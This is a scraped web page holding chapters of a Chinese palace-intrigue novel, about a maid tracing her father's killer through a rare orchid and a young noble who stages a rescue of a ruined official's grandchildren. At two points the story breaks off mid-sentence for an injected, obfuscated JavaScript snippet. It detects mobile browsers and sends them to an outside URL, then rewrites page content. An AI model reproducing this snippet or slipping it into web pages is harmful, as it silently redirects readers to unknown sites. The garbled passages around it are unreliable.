“是。二小姐近日身子有些不适。” “身子不适?”陆微冷笑一声,“整天躲在院里不出来,整日娇滴滴的,连风都不敢吹。读那么多书有什么用?到头来还不是体弱多病。” 这话说的………也太直白太难听了。 她现在相信这四小姐陆微深得陆大人宠爱了,能大庭广众之下,当着长姐丫鬟的面讽刺长姐,也真是个人物了。 陆微看她不说话,自觉无趣,但还是咬咬嘴唇,继续说:“我问你,她最近在干嘛?功课如何?” 凌青有些意外她这话,但还是答道:“奴婢不是亲身伺候的,实在不知道。” “那你总在院子里听到过她弹琴吧,弹的怎么样?” 凌青更加莫名其妙:“听过几次,小姐琴艺高超,清远高绝。” 陆微不耐烦了:“问你这个那个什么都不知道,还琴艺高超,你听得明白吗你。她琴艺也就那样吧她。” 话里的酸意和嫉妒之情溢于言表,但凌青敏锐地察觉到,陆微说这话时,隐隐有些不自然。 “奴婢是不懂琴艺。”凌青淡淡应了一句。 陆微撇了撇嘴,似乎觉得没意思,正要离去,忽然想起什么,但有些犹豫,最终还是回头。 “提醒你一句,最近花圃里那些什么乱七八糟的花又开了。你们家二小姐不是花粉过敏吗?之前绿花灼兰开的时候,她喷嚏打的差点没过去。让她小心点,别这次一个不留神把自己打死了。” 说完她又好像有些羞恼,连忙凶巴巴的补充了一句:“我可不是在关心她!知道吗!” 她头也不回的走了,脚步有些急促。 凌青:“………” 凌青怔怔地看着她的背影,直到那背影消失不见,还是没搞清楚她过来说这些莫名其妙的话是意欲何图。 陆沁也真是厉害,她自己善良的快变成一朵白莲花了,两个妹妹却一个比一个特别,一个比一个癫狂。 只是这个陆微,嘴上厉害的很,心里却没有表面上那样讨厌陆沁,还知道提醒花粉这事,心眼倒是没那么坏。 这也无意中提醒了她一件事———那个曾留在父亲身上的花粉,绿花灼兰。 等凌青反应过来的时候,她已经站在花圃外了。 她的目光似乎已经透过那丛丛生长的奇花异草中,望见了最深处,那抹她永远忘不了的淡绿。 她驻足片刻,还是走了进去。 园中楼台水榭,曲径通幽,山间小径蜿蜒,两侧古木参天,虬枝如龙,藤萝缠绕。占地之广,远远超出她想象,她以为这种花圃,除了花没有别的,哪知竟是个小庭院。 凌青沿着石径缓缓深入,越往里走,花香越发浓郁醉人。满园皆是奇花,像西域传来的胡姬花和波斯菊,她只在书里才看过,更别提一些知道都不知道的。 到了园里最深处,一片开阔的绿色映入眼帘,凌青心中顿时一动。 绿花灼兰……… 她终于亲眼看到了。 只见数十株绿花灼兰排列,花朵很小,花瓣呈半透明的淡绿色,在阳光下泛着微光,看起来清雅脱俗,甚至有些脆弱。 但在凌青眼里,这每一朵花都如恶鬼般狰狞,它的出现,就代表着父亲的死亡。 凌青的手不自觉地握成拳头,如果可以,她真想一把火烧掉这花田,但她不能,只因这是父亲留下的最后一点线索。 她蹲下身,仔细观察着这朵花,把它的样子彻底记入脑中。她伸出手,想偷偷摘下一朵藏起。 忽然,身后传来脚步声。 “大胆丫头!谁让你到这里来的!” 凌青心中一惊,面上却不慌不忙,从容转身:“奴婢是二小姐院中的茶药间管事,近日小姐身子不适,奴婢想采些花草,为小姐配制花茶。” 这管花圃的管事冷笑一声:“茶药间那么多现成的药材不用,跑到这里来采花?你不知道花圃是丫鬟进不得的!除非跟着主子才能入内!” 凌青连忙低头认错:“您教训的是,是奴婢不懂规矩。奴婢光想着能让小姐身子好些,就忘了这些了,是奴婢的错,奴婢愿受罚!” 她认错认得这叫一个快,态度又恭敬,看着还柔柔弱弱的,管事的不满也稍微消退。 “这次就当你初犯,不知者无罪,我就不上报了,只是你要记住你的身份,这花圃可不是什么人都能进的。” 他指向那片绿花灼兰:“尤其是那些花,府里有规矩,除了专门的花匠,还有各位主子和客人们,任何人不得擅动。” 凌青低头应是,跟着他离开,走之前,她又悄悄侧头看了一眼那片绿花灼兰。 能杀死父亲并在父亲身上留下花粉的人,定然是亲身近距离接触过绿花灼兰之人。 所以,杀人者,要不是陆府的这些主子以及他们的贴身侍丛,要不就是陆府重视的客人……… 虽将范围缩小了很多,但还是没有具体的方向。 若是这花圃看管没这么严,她或许还能从父亲去世前的时间打听进过花圃的人,但她身份低微,现在冒然打听只会暴露自己。 她的身份,还是不够高,不能够支撑她在府里自由行事。若她是主子身边的贴身丫鬟,那一切就好办了……… 她脑海里立即映起渚碧的脸。 渚碧不喜她,办事也不地道,那张嘴也只会给陆沁惹事生非。如果她要取而代之,那就需要设个计谋,让渚碧犯大错,然后趁机取代。 只需在老夫人面前设局,必定会触怒疼爱陆沁的老夫人,陆沁想保也保不了。 可………… 凌青握紧拳,眼中闪过一丝挣扎。 但渚碧到底没什么大错,而且与陆沁自小长大,感情很是深厚。而她,心思深沉,接近陆沁从头到尾都是另有图谋。 她可以为了复仇不择手段,但难道真的要连最基本的底线都失去吗。为了达成自己的目的,去害无辜之人,这是父亲生前最厌恶之人。 她松开手,轻叹一口气。 一定还有别的办法。她心里想着,眼神重新变得坚定。 路永远不会只有一条。她凌青想做的事,就没有做不到的。她就不信,调查府内之事,非要借助一个身份。 ——————— 京城街道。 临风茶楼二层凭栏而设,逄楚之斜倚在栏边,握着茶盏。微风撩起几缕发丝,他那一缕小辫子仍然垂在胸前。 靠在栏边,只消探个头,便能将整条街的风景尽收眼底。他眼睛半眯,透过长长的睫毛看向楼下人群,一边赏景,一边悠然自得地品着茶。偶尔轻笑一声,便引得下面的的姑娘们频频侧目,暗送秋波。 “公子。”听风走近,在逄楚之身旁俯下身,轻声:“陈府那边已经有消息了。” “嗯?” “朝廷已经查完陈恪的账目了,左金吾大将军韩大人已经带着人去了陈府,圣旨也已经下了,陈恪守贪污受贿的罪名,就算是落实了。” 逄楚之点点头,目光望向不远处的陈府。那座曾经门庭若市的府邸,如今看起来已临崩塌之际。 “陈家在朝中经营多年,势力根深蒂固。想要一举将其连根拔起,真是费了不少心思。”逄楚之的声音似乎遗憾,面上表情却仍带着笑。 “公子英明。陈恪虽然为官清廉,但架不住有心人的算计。不过.....”听风顿了顿,“他那一双儿女,倒是可造之材。” 不远处,传来一阵喧哗声。逄楚之朝窗外望去,只见陈府方向涌来大批官兵,为首的正是左金吾卫的人。 “来了。”逄楚之放下茶盏,“走,去看看。” 陈府门前,人声鼎沸。 左金吾卫大将军韩锐拿着圣旨,宣读陈恪的罪状,无非是贪污受贿、结党营私类的罪名,每一条都足以让陈府抄家流放。 “前太傅陈恪,昔年侍朕左右,传道授业,师恩如山。” “念其昔日之情,朕心不忍加诛。特免其死罪,全家流放岭南,永不叙用。家产查抄入官,以儆效尤。钦此!” 陈恪知道,当今皇帝昏庸,这一天迟早会来,却没想到来得这么快。 他面如死灰,却不肯屈膝。他挺直腰杆,目光如炬:“老夫一生清廉,何来贪墨之说?此乃奸佞陷害,天理难容!” 韩锐见他不认罪,勃然大怒:“陈恪!圣旨已下,岂容你胡言乱语?来人!强行抄家!但有反抗者,格杀勿论!” 官兵一拥而上,陈府顿时乱成一团。陈老夫人当场晕倒,她的孙子孙女们跪在地上哭求,但无人理会。 就在这时,一个年轻的声音响起:“且慢。” 逄楚之缓步走来,先与韩锐见了礼。 韩锐一看见他,有些惊讶,但神色立即恭敬了几分,仿佛刚才的剑拔弩张都是假象:“逄小公子!您怎么来了。” “见过韩大人。”逄楚之回礼,转头看向陈府众人,脸上带着适度的愁云:“方才在府中听闻陈府有变,家父忧心,特遣我来看看情况。” 他望向跪在地上的陈恪,叹息道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956629|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈老为官多年,清名在外,想必其中定有蹊跷。” 韩锐面露难色:“逄小公子有所不知,此案乃是皇上亲自下旨,证据确凿,下官也是奉命行事。” “这是自然。”逄楚之温柔一笑,“韩大人秉公执法,楚之敬佩。只是家父念及与陈老的旧情,想着若有什么地方能够帮衬一二......” 话说得滴水不漏,韩锐立刻明白过来。此事虽是他全权负责,但若能借此卖逄家一个人情……… “此事还请逄小公子指教。” 逄楚之点点头,缓步走向陈恪。 陈恪见他走来,眼中闪过一丝复杂的神色,既有意外,但更多的是多疑。他强撑着身子,冷声道:“逄家的人,也来看热闹了。” 逄楚之脸上露出关切之色:“陈老,您这是......” 陈恪眼中精光一闪,“逄家小子今日来此,是来看老夫的笑话,还是......”他顿了顿,声音更加冷厉,“是来确认你们逄家的杰作?” 逄楚之脸色微变,随即露出受伤的神情:“陈老,虽然逄陈两家在朝中政见不同,但私下里我一直敬重您的人品。听闻您遭此大难,我怎能袖手旁观?” “敬重?”陈恪冷笑,“我弹劾逄家已久,你父亲也从未给过我半分情面,你说你敬重?” 逄楚之垂下眼帘,声音带着几分哽咽:“朝堂之争,实乃公事。家父虽与您政见不合,但对您的才学人品,从未有过微词。况且,逄陈两家,本就是唇亡齿寒,陈老难道不懂吗!” 唇亡齿寒四个字刚落,他看陈恪有些怔住。沉默了片刻,逄楚之缓缓举起手发誓:“我知道您现在对任何人都难以信任。但我逄楚之对天发誓,此事与我逄家无关,否则逄氏满门,必遭天谴!” 陈恪看着他,眼中的质疑终是消散很多,但是没有完全打消疑虑。 逄楚之见状,又叹息道:“罢了,您不信我,也是情理之中。只是......”他望向跪在一旁的一对男女,这两个人是陈恪的孙子孙女,哥哥叫陈靖川,文武兼资,妹妹叫陈若薇,与陆沁并称京城双秀。 “陈公子和陈小姐还年轻,或许我能想想办法。” 话音一落,本来笼罩绝望与死寂的陈府,似乎燃起了希望。一旁的陈老夫人也悠悠醒转。 陈靖川却摇头:"逄公子,求您救救祖父祖母!我们愿意以身为奴,只求您救救他们!” 逄楚之脸上露出为难的神色:“我已经尽力了,但朝廷的决定,岂是我能左右的?我最多只能保下你们二人,至于陈老和老夫人......” “不!”陈若薇哭得撕心裂肺,“我们不走!要死一起死!” 陈靖川一向清高,此时却苦苦祈求,眼中含泪:“祖父祖母年岁已大,身子弱,受不了流放之苦。我和妹妹如何能心安理得苟且偷生?” 逄楚之深深叹了一口气,声音温柔切充满无奈:“陈公子,我理解你们的孝心。但你们想想,如果都跟着去了,陈家就真的完了。留下来,才有希望为陈家洗刷冤屈。” 这话如醍醐灌顶,让兄妹二人一怔。 逄楚之继续说道:“我虽然不能改变陈老的判决,但可以保证,一定会派最可靠的人在流放地照应二老,绝不会让他们受太多苦。” 陈恪夫妇对视一眼,眼中满含泪水。最终,陈恪颤声道:“好………我信你一次,逄家小子,我们一家的性命就托付给你了。靖川、若薇,你们要好好跟着他做事,将来......将来有机会,一定要为陈家正名。” “带走!”韩锐喝道。 一众官兵上来,就要将陈恪夫妇带走。府中其他人群泣不成声,苦苦哀求。 陈恪不顾官兵的拉扯,挺直腰杆,望向远方。 那是宫城所在的地方。 他痴痴看着,看的不是那座承载他半生功名的地方,而是看自己半生秉持的“清”与“正”,到底能不能让端坐其上的人看清是非曲直。 有人催他快走,他却毫无所动,只是看着,唇齿间溢出悲怆之调。 “半生功名付流水………” 声音苍凉悲壮,如杜鹃泣血,字字铿锵。 “一世清白照汗青。” 那颤抖的嗓音混杂着满府人的哭声,天地萧索,万般凄凉。 “纵使蒙冤千里外——”声音渐弱,如风中烛火,“青史自有………后人评。” 声音减弱,这位昔日太傅终是再也支撑不住,泪如雨下,字句哽在喉间。 生离死别,从来都是最残酷的人间别离。这一别,不知何年何月才能相见,甚至可能是永别。陈恪夫妇风烛残年,岭南路远,就算有照料也不见得能支撑多久。一双孙儿从云端到泥沼,接下来要在这京中独自承受世态炎凉。 “逄公子,这份恩情,我们兄妹永世不忘!”陈靖川跪在地上,声音哽咽,“只请您好好托人照料我祖父祖母,我和若薇定会为您赴汤蹈火,在所不辞!” 逄楚之扶起兄妹二人,眼中似有泪光闪烁,可转身之时,那泪光瞬间收敛得干干净净。 14. 银针 又被做局了 陈恪夫妇已被押送岭南,陈靖川和陈若薇兄妹则被安置在城外的一处别院。 此时逄楚之又找了家酒楼雅间待着,其他间里都是酒气喧嚣,独独他那里,只有茶香氤氲。路过的客人闻见,都暗自腹诽这人大晚上装什么,还搁酒楼品上茶了。 “公子。”听风推门而入,看到这一幕不禁愣了一下,“一切都已安排妥当。陈靖川和陈若薇对您感激涕零。” 逄楚之无聊地转了转茶杯:“他们感激我是应该的。” 听风站在一旁,想说些什么,又憋回去,最终还是忍不住问道:“都这个时辰了,您还喝茶,不怕睡不着吗?” 逄楚之放下茶杯,看着他。 听风也莫名与他对视。 逄楚之对他勾勾手指,示意他走近。 听风犹豫了一下,走过去。 逄楚之附在他耳边大声道:“我,乐,意!” 这一声差点把听风听撅过去,他一激灵往后蹦起半寸,捂着耳朵:“公子,你这也太狠了,属下是关心你身体。” “你懂什么,喝酒误事,喝茶使人清醒。这样的好戏刚刚落幕,正是需要清醒头脑的时候,岂能昏昏欲睡?” 听着好像很有道理,但以听风对逄楚之的了解,逄楚之肯定是纯粹不爱喝酒,想喝个小茶庆祝庆祝今天的胜果。 “只是公子,属下有一事不明。您早就知道朝廷要对陈家动手,为何不早一些告知他们?若是提前透露消息,陈家说不定还有转圜的余地。” 逄楚之放下茶盏,刚才还不正经的眼神,此刻却隐隐有些幽深:“你觉得,如果我早早告诉陈家消息,他们会如何?” “自然是感激公子的恩情。” “仅仅是感激吗?”逄楚之轻笑一声,声音却冷了下来,“陈家虽然根基深,但早已成了强弩之末,覆灭是迟早的事。上面那位要动他们,谁也保不住。” 说着说着,他垂下眼,长而浓密的睫毛遮住了神色:“若我提前告知陈恪消息,他也周转不了,对我的感激也寥寥无几,但现在不同了。在他们最绝望的时候,我出现了,救下了他们的血脉,这就变成救命之恩。感激和死心塌地的追随,你说哪个更值得我去做?” 听风恍然大悟,心中感叹自家公子真是阴狠又狡诈:“雪中送炭的情谊,那真是谁都比不过。” 逄楚之隔着窗,望向灯火通明的京城,万家灯火如繁星点点,照亮了这盛世繁华。月光洒在他的侧脸上,那一瞬间,似乎浮现出一抹深藏的哀伤,如昙花一现般转瞬即逝。仔细去看,却什么也看不见了。 “陈恪虽然倒了,但陈家在朝中老臣中颇有威望,陈恪这些年也出了不少学生。陈靖川文采出众,陈若薇貌美伶俐,都能用得上。有了他们,我的势力又能扩大几分。” “更何况......”他顿了顿,“这盘棋才刚刚开始,有意思的棋子还在后面呢。” ———— 茶药间内,茶香萦绕不散。凌青端坐在小几前,手中毛笔沾墨,在纸上写写画画。她写了好几个如何接触到绿花灼兰的法子,虽都不如当上贴身丫鬟这条路快速,但至少也不是完全没办法。 只是,姐姐的失踪还是得快找到线索才好,她等不起。 凌青轻叹一声,正要收起纸笔,门外传来红袖的声音:“姐姐,巧音说身子不适,今日告假了。” “知道了。”凌青应声,将纸张收好藏在衣袖里,“今日我来煎药便是。” 红袖探头进来,有些担忧道:“姐姐,你这几日看起来心事重重的,一直写写画画的,可是遇到什么难处了?” “无事。”凌青起身,“你去休息吧,我自己弄就好。” 红袖见她不愿多说,也不好再问,只是走前宽慰道:“你有不开心的,想倾诉的,一定要跟我讲啊。” 凌青内心泛起一丝感动,但很快这点感动就烟消云散。 她从入府起就一直抱有目的,若是这目的被发现,只有死路一条,所以能牵扯的人还是越少越好。 只有将所有事深深隐藏在心底,才能给她足够大的安全感,所以,她注定与红袖成不了真心朋友,只是她有些羞愧和感慨,自己怕是再也还不了红袖的真情。 凌青摇摇头,将这些事抛在脑后。随之走到药架前,按照药方取了需要的药材。陆沁近来时常头疼,太医开的方子以安神定志为主,药性都很温和。她将药材一一清洗,放入清水中浸泡。 半个时辰后,凌青端着浸泡好的药材回到茶药间,准备烧火煎药。她习惯性地检查了一遍药釜,这一看,眉头便皱了起来。 药釜内壁上,有几滴琥珀色的胶状物,在阳光下闪着异样的光泽。 凌青有些奇怪,因为孙嬷嬷细心,刷洗过的药釜从来没有过脏污,这玩意到底是怎么留下的? 她用手指沾了一点,仔细看了看,又嗅了嗅,发现这是蜂蜡。 她顿时心中一紧,伸手轻触那团蜂蜡,触感果然黏腻异常。她仔细查看,很快便发现了端倪。 那胶状蜂蜡下面,赫然黏着三根细如发丝的牛毛针。 牛毛针……… 这是想要她和陆沁的命吗。 凌青面色未变,心中却霎那间如寒冰般冷彻。这招实在太狠了,若是她不仔细检查,直接将药材倒入煎煮,那些牛毛针便会融入药汤中。陆沁服下后,轻则伤及脏腑,重则性命不保。而到时候,无论陆沁是死是活,她这个煎药的人,都是死路一条。 凌青深吸一口气,心中彻底冷静下来。她小心翼翼地将那几根牛毛针取出,用纸包好藏入怀中,然后将药釜彻底清洗干净。 这必定是月露榭的人所为,但究竟是谁呢? 巧音告假,红袖去她娘那了,这些一打探就能知道,所以不是她俩。 她匆匆走向后院,寻到正在洗碗的孙嬷嬷。 “孙嬷嬷,”凌青压低声音问道,“今日午后可有什么人进过茶药间?” 孙嬷嬷停下手中的活计,想了想摇头道:“没见着什么人呐,怎么了?” “那可曾听到什么异响?” “也没有,我一直在这后院忙活,离得远着呢。”孙嬷嬷有些疑惑地看着她,“凌青,是出什么事了吗?” 凌青摇摇头:“无事,我就是随口问问。” 孙嬷嬷表现自然,不像撒谎,且手中洗的过的茶具不少,显然刚刚一直在忙活。更重要的是,她没有动机,且为人谨慎,不会轻易被人收买,没有陷害她的必要。 她转身离开,心中满是懊恼。这几日一心想着如何帮父亲复仇,找到姐姐,竟忘了在泡药时留个人在茶药间看着,实在是大意了!以后无论如何,都不能再犯这样的错误。 可是,为何要无缘无故陷害她?她自认入府以来行事谨慎,并未招惹任何人。 难道………是她看到了什么不该看的事? 她脑中忽然浮现起那日自己撞见渚碧和五小姐陆屏的奶嬷嬷见面,食盒打翻那惊慌失措的表情。 她那时只觉得渚碧是弄翻了血燕才惊慌,可现在想想,那食盒另一层分明还装了东西,渚碧也是在撞见她之后才彻底慌了的。 可是,要是渚碧干的,她怎么会让这么阴狠的牛毛针去伤害到陆沁呢,陆沁可是她贴身服侍多年的主子啊。 不管怎样,她还是要去试探一番。 她重新煎好药,亲自端着药碗朝陆沁的屋里走去。 “小姐,药煎好了。”凌青进屋,将药碗轻放在桌案上。 陆沁正倚在榻上看书,看到凌青有些惊喜,闻言便要起身:“辛苦你了,今日怎么亲自送来了?” “巧音身子不适,我闲着也是闲着。”凌青将药碗递给陆沁,她刻意将动作放得极慢。 果然,陆沁刚要接过,一旁的渚碧忽然出声道:“小姐,不如先让奴婢试试药烫不烫。” 狐狸藏不住尾巴了。 凌青心中冷笑,面上不动:“渚碧姐姐有心了,我刚才试过了,温度正好。” 渚碧闻言,狠狠瞪了一眼凌青,但仍有些不死心,探着头一直往那药碗里看。 陆沁没注意到她们,拿过药,刚要舀一小勺到嘴里——— 就在此时,渚碧忽然疾步上前,一掌打翻了药碗。 “啪嚓——” 药碗摔在地上四分五裂,黑褐色的药汁四溅开来。 房中其他人被这突如其来的变故惊住了,屋里瞬间变得寂静,谷翠与陶嬷嬷目瞪口呆,两人都说不出话来。 “渚碧!”陆沁惊呼出声,脸色瞬间沉了下来,“你这是做什么?” 渚碧梗着头,丝毫不觉得有什么,反而义愤填膺:“小姐!奴婢是在救您,因为我刚才看见了,这药有问题!” 陆沁一愣:“什么?” “我刚才看见药碗里有异样的光芒闪动,像是有几根银针在其中!” 凌青看着地上的药汁和碎片,心中已经知道了渚碧所为。她的确没想害陆沁,只是提前在药釜里放上针,然后等陆沁要喝时,再揭露自己,自己定会因为谋害主子被赶出府。 陆沁脸色一变,但很快又严肃道:“或许是光线问题,你看错了。” 渚碧恨不得举手发誓:“奴婢没有看错,就在药汁里,奴婢刚才明明看见有几根细针在光下闪着光芒!” 看着渚碧这幅信誓旦旦的样子,陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956630|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沁几人都有些疑惑,一方面她们当然信任凌青的能力和人品,但另一方面,渚碧和她们自小一同长大,绝不会无缘无故说谎。 凌青这时开口了,声音却极其平静:“小姐,这药是奴婢亲手煎制,从选药、清洗到熬煮,每一步奴婢都格外仔细。断不会有任何问题。” “可是我明明看见了!”渚碧急道。 “既然渚碧姐姐说看见了,那不如我们都来找找看。”凌青转过身子看着她,与渚碧的焦急相比,她显得越发冷静,声音也如寒冰一般降温,安抚了陆沁的心情。 “陶嬷嬷,谷翠姐姐,那就麻烦你们了,和我一同找找,这地上可有什么银针?” 陶嬷嬷连忙蹲下,在破碎的瓷片和药汁中翻找起来。谷翠也上前帮忙,三人仔细查看了许久。 “什么都没有。”陶嬷嬷摇头道。 “我也没看见任何针似的东西。”谷翠附和道 渚碧脸色一变:“不可能!我明明看见了,就在刚才!” 凌青站起身,神色依旧,但眼里多了几分促狭:“渚碧姐姐,你确定看见了银针?” “当然确定!"渚碧咬牙道,“就是有几根细如发丝的银针在药汁里闪光!” “那奇怪了。”凌青缓缓道,"既然你看得这么清楚,为何我们这么多人找来找去,却什么都没找到?莫非这银针还会自己长腿跑了不成?” 陆沁此时也觉得不对劲了。她看看地上的狼藉,又看看渚碧:“渚碧,你再仔细想想,真的看见了银针吗?” 渚碧见陆沁语气中带了质疑,心中慌乱,但仍硬着头皮道:“小姐,奴婢怎么敢在这种事上撒谎?您还不相信我吗?” 凌青生怕还不够,继续拱火:"渚碧姐姐是不会说谎的,可是银针在哪里呢?莫不是,这银针见了光就化了吧?” “你……”渚碧被气得哑口无言。 “还是说,”凌青步步紧逼,给了她致命一击:“这银针是你自己放的,所以你笃定一定会有?” “要不然,你为什么刚刚只看了药碗一眼,就一口咬定必有银针?” 渚碧脸色瞬间煞白,不敢置信的看着凌青。她张了张嘴,却发不出声音来,就像被人掐住了喉咙一般。 她显然才反应过来,自己的计谋早就被识穿了。 过了许久,她才又一次重复道:“我就是看见了!” 可她这次的声音之虚,连她自己都觉得这话说得没有底气。 “你什么时候看见的?”凌青追问道,“是在我进来之前,还是之后?如果是之前,那你为什么不早说?如果是之后,那你是怎么透过药碗的边缘看到碗底的银针的?” 渚碧被问得哑口无言,彻底发不出声音。 凌青见好就收,不再说话,只是轻轻看了陆沁一眼。那一眼中透着一种不愿争辩的人淡如菊感,仿佛在说:“罢了,被陷害就被陷害吧,我活该。” 陆沁早已明白了是怎么回事,想起刚才确实心里质疑过凌青,此时心中全是对她的愧疚。 她的脸色也彻底冷了下来。渚碧跟她从小一起长大,她向来将渚碧当作姐妹看待,没想到渚碧竟然会做出这种事情来。 虽然心中愤怒,但念在多年情分上,陆沁也不能真的狠心重罚。她深吸了一口气,压抑着心中的怒火说道:“渚碧,你给我跪下!” 渚碧双腿一软,“扑通”一声跪倒在地。 “你现在立刻向凌青道歉,然后去领二十板子的处罚,再扣三个月的月银!” 渚碧猛地抬起头,眼中满是不甘和愤怒:“小姐,你怎能如此待我?” “怎么,你还有异议?”陆沁厉声道,“你做出这种事情,我没有把你发卖出府已经是念在旧情上了!” 渚碧咬了咬牙,还是不肯道歉。她心中全是愤恨与不敢置信,她以为小姐必然会全心全意相信自己,没想到她却帮着凌青这个贱人来惩罚自己! 这让她怎么不恨!她打小就在府里,与小姐一同长大,她以前说什么小姐都听,现在可好,让一个茶药间的贱蹄子爬到她上面! 陆沁见她这副模样,心中更是失望:“渚碧,你到现在还不知悔改吗?” 房中一片静寂,只有渚碧粗重的喘息声 良久,渚碧终于低下了头,声音小得像蚊子一般:“对……对不起……” “大声点!”陆沁喝道。 渚碧咬牙切齿地说道:“凌青,对不起!是我错了!” 虽然道了歉,但任谁都能听出她语气中的不情不愿。 “没关系。”凌青淡淡道:“我相信渚碧姐姐一定会…………” “改邪归正的,是不是?” 15. 闹剧 最近春意渐浓,月露榭的桃花开得正好,最是适合品花饮茶。 陆沁近来常在院里设茶,因着天气晴好,她的哮症也被凌青调养得差不多了,所以几位闺中密友常来拜访。几个人或论诗论画,或闲话家常,再饮上一壶好茶,倒很是惬意。 叫茶的次数多了,茶药间也有些忙碌。 凌青正在整理新到的药材,忽然想起陆沁吩咐过今日要多叫几个人去伺候茶点。她便放下手中的活计,朝前院走去。 路过前门时,恰好遇见了平日里颇为亲善的小丫鬟翠儿。 “翠儿。”凌青对她微微一笑。 翠儿本来正低头走路,听见声音抬起头,看见是凌青,脸色瞬间变得有些不自然。她匆匆福了福身,便要绕开走。 “翠儿?”凌青有些疑惑,伸手轻拦了一下,“怎么了?” “没、没什么。”翠儿支支吾吾,“我还有事要忙,就先走了。” 说完,也不等凌青回话,便急急忙忙跑开了。 这一副见了鬼的样子,让凌青觉得自己好像是什么魑魅魍魉。 难道她“天生孤煞”的名号被大家知道了? 否则可真是奇了怪了,这翠儿一向脾气好,见了她也总是笑嘻嘻的,怎么偏偏今日这么反常。 她摇摇头,继续往前走。不想刚到月洞门,又遇见了另一个相熟的丫鬟阿银。 “阿银,等会儿你可有事——” 阿银一看见她,脸上闪过一丝慌乱,随即装作没听见,匆匆低头就走,脚步走得那叫一个快,好像慢一步就会被生吞活剥了一样。 凌青:“........” 一个人如此倒也罢了,两个人都这样,那必定是有什么别的缘故了。 她正站在原地思索,忽然听见听见假山后传来几声轻唤—— “姐姐......姐姐......”声音压得很低,但是很熟悉。 凌青循声望去,只见青竹掩映处,红袖正缩在假山石缝间,冲她急急招手,不远处看像个鬼鬼祟祟的小贼。 “你躲在这做什么?”凌青走过去问。 红袖从缝里艰难的爬出来,喘了口气,才说:“我.......我担心你嘛。” “担心我?” “对啊,红袖抬起头,眼睛澄澈,神色全是关切,”刚才,我都看见了,翠儿和阿银对你的态度。姐姐,你现在是不是很伤心?” 她有什么好伤心的,大家为何忽然转变态度,她心里早已门清。她停下思索也只是在想自己现在人憎狗嫌,还如何找人去陆沁跟前伺候茶点。 “挺伤心的。”凌青虚伪地说。 红袖闻言,更是心疼,抓住凌青的手安慰道:“姐姐,没事,还有我呢,你想不想知道为何会这样?” “为何?” “是渚碧……"红袖有些恼怒,“她前两日私下里找过不少人,说是以后都不许搭理你,谁要是还跟你来往,就是跟她过不去。” 果然不出所料,整个院里能想出孤立这招的,也就只有渚碧了。 毕竟她一直以自己贴身丫鬟的身份为傲,觉得自己高其他下人一等,可以毫不顾忌的支使所有下人。 “翠儿她们本来就胆小,自然不敢得罪渚碧,姐姐你不要放在心上。” 凌青点点头,眼神却假装不经意的看向红袖,带着一丝极难察觉的试探:“那你呢,你不怕渚碧吗?” 红袖一扬下巴,手在胸前重重一拍:“我怕她干嘛,我之前在碧桃手下已经够窝囊了,和你认识后才胆子大了,我可不想再窝囊回去。你是我的朋友,我就要站在你这边!” 凌青先是一怔,继而被她这一副“女中豪杰”的样子逗笑了,眼角眉梢都染上笑意。两个人相视,红袖自然而然挽起了她的手。 “走!回茶药间!” 刚进茶药间的门,就见巧音和孙嬷嬷正在替她收拾刚才没弄完的药材。见她们回来,巧音侧过头来:“你们怎么一起回来了,对了,刚才渚碧可是来过了啊。” “什么!”红袖蹦起来:“她怎么又来了!” “人家都恨不得住在这监视我们,”巧音撇撇嘴,“无非是想让我们疏远凌青姐姐呗。先是威逼,说姐姐得罪了她,早晚要被赶出府。后是利诱,说只要我们不跟姐姐来往,她就从我们中挑选一个接替姐姐为管事。” 孙嬷嬷在一旁接话:“我当场就喷回去了,说你一个贴身丫鬟,就算是小姐身边的心腹,还真把自己当半个主子了?什么时候咱们院里的事竟要由你说了算了,我去问问小姐,是不是要把你收作义妹了。把她气得脸都绿了。” “就是,”巧音也笑道,“我还说,凌青姐姐人品端正,手艺精湛,我们跟着她学东西还来不及呢,怎么可能疏远?然后渚碧就气得走了。” 红袖嘻嘻哈哈的将手搭在巧音肩膀上:“不错嘛,来了两个月就这么上道啦。” 巧音假装嫌弃的把她胳膊打下去:“去!” “哎,既然渚碧这么‘厉害’,那我们可惨了,以后我们几个只能相依为命了。” “谁怕她啊,大不了以后一起被孤立呗。” “哈哈哈哈哈哈………” 三人你一言我一语地安慰着凌青,安慰着安慰着就又开始胡说八道,笑成一团。凌青心中涌起一阵温暖,竟觉得这样的日子也不错。这些天以来的种种算计和筹谋,虽不至于让她筋疲力尽,但心里的累还是在这一刻消散了不少。 “多谢你们。”她真心实意,一字一句地说道。 “说什么谢不谢的,咱们本来就是一条船上的。”孙嬷嬷摆摆手,“再说了,明眼人都看得出来,小姐信任你,渚碧那是妒忌。” 几人相视一笑,眼神里早已全是默契。 —————————— 上完茶回来时,凌青碰到了谷翠。 谷翠正搬着些东西,一看到她,瞬间两眼放光:“凌青,幸好看到你了!” 凌青有些惊讶,她还以为谷翠和渚碧关系亲近,会与渚碧联合起来孤立自己呢,没想到却仍然如常。 “怎么了,谷翠姐姐。” “需要去库房里领些东西,数量不少,但我忙着搬别的,交给别人又不放心。你能帮我去吗?” 领个东西而已,跑一趟腿的事,凌青自然应了下来。 “当然可以,我正好闲着。” 